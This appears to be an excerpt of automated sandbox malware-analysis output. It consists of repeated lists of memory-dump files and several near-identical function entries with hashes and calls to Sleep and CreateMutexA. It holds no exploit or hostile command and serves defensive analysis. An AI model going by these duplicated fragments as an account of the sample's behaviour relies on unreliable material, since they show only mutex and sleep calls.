Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9bb43b91c6f4f5b7192daa8fc27ad29745a322cdf10c527076209c0b27a64197
Instruction ID: b4af67c52b4984b86212b74533f706489c18c93a9bcc4c8a3a6ca8c6ea75c521
Opcode Fuzzy Hash: 9bb43b91c6f4f5b7192daa8fc27ad29745a322cdf10c527076209c0b27a64197
Instruction Fuzzy Hash: D4312A71B00250DBFB18DB7CED8D76DB762ABC7320F204219E114977D2DB7699848712

Function 0002A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0002A963
CreateMutexA.KERNEL32(00000000,00000000,00083254), ref: 0002A981

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f08d1bc282f672935012500a5f35adb481baf80745320d6aa33357770852652b
Instruction ID: d8f05f0837d40da1e966926427e45c6f31e22ee51312df49981cf2c50b1f9e20
Opcode Fuzzy Hash: f08d1bc282f672935012500a5f35adb481baf80745320d6aa33357770852652b
Instruction Fuzzy Hash: F4314C31B002509BEB18EB7CEC8DBADB761EFC2314F204219E514977D6DF7599808752

Function 0002A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0002A963
CreateMutexA.KERNEL32(00000000,00000000,00083254), ref: 0002A981

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: bb96d8476fb28e237fedd74c9c2bb7ff25a780ac7bfc45dec1d467c458060dfe
Instruction ID: 72a46fb67bc72571b76538d5b02a137f1e6bf58c4399adad465cabcc0dd773f2
Opcode Fuzzy Hash: bb96d8476fb28e237fedd74c9c2bb7ff25a780ac7bfc45dec1d467c458060dfe
Instruction Fuzzy Hash: 41314A31B002508BEB18DB78EC8DBADB761EBC7314F248218E5149B3D2DF7599818712

Function 0002A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0002A963
CreateMutexA.KERNEL32(00000000,00000000,00083254), ref: 0002A981

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2007a6ce781e822766c6d7809def2364d4158b98b5db2183294734e441ba12ed
Instruction ID: 6a2690f7528f86efbcf78ffde3a0df5236ed8139c647c5275704db07381cb93f
Opcode Fuzzy Hash: 2007a6ce781e822766c6d7809def2364d4158b98b5db2183294734e441ba12ed
Instruction Fuzzy Hash: 58314A71B04250CBEB18DB78EC8DBADB7B2EBC6320F248218E114973D2DF7599808756

Function 00029ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0002A963
CreateMutexA.KERNEL32(00000000,00000000,00083254), ref: 0002A981

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 89c6f2f2695cbbc63b03bab0ab9aafcfa02bf09184a4b9e454d9ca2e8709322e
Instruction ID: 160ca255195485e04f0caab442c965bffed9007702ca724d1341a29536f75ead
Opcode Fuzzy Hash: 89c6f2f2695cbbc63b03bab0ab9aafcfa02bf09184a4b9e454d9ca2e8709322e
Instruction Fuzzy Hash: 09214931704250DBFB189B6CFD89B6CB7A5EBC2310F204219E518877D2DF7699808712

Function 0002A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0002A963
CreateMutexA.KERNEL32(00000000,00000000,00083254), ref: 0002A981

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
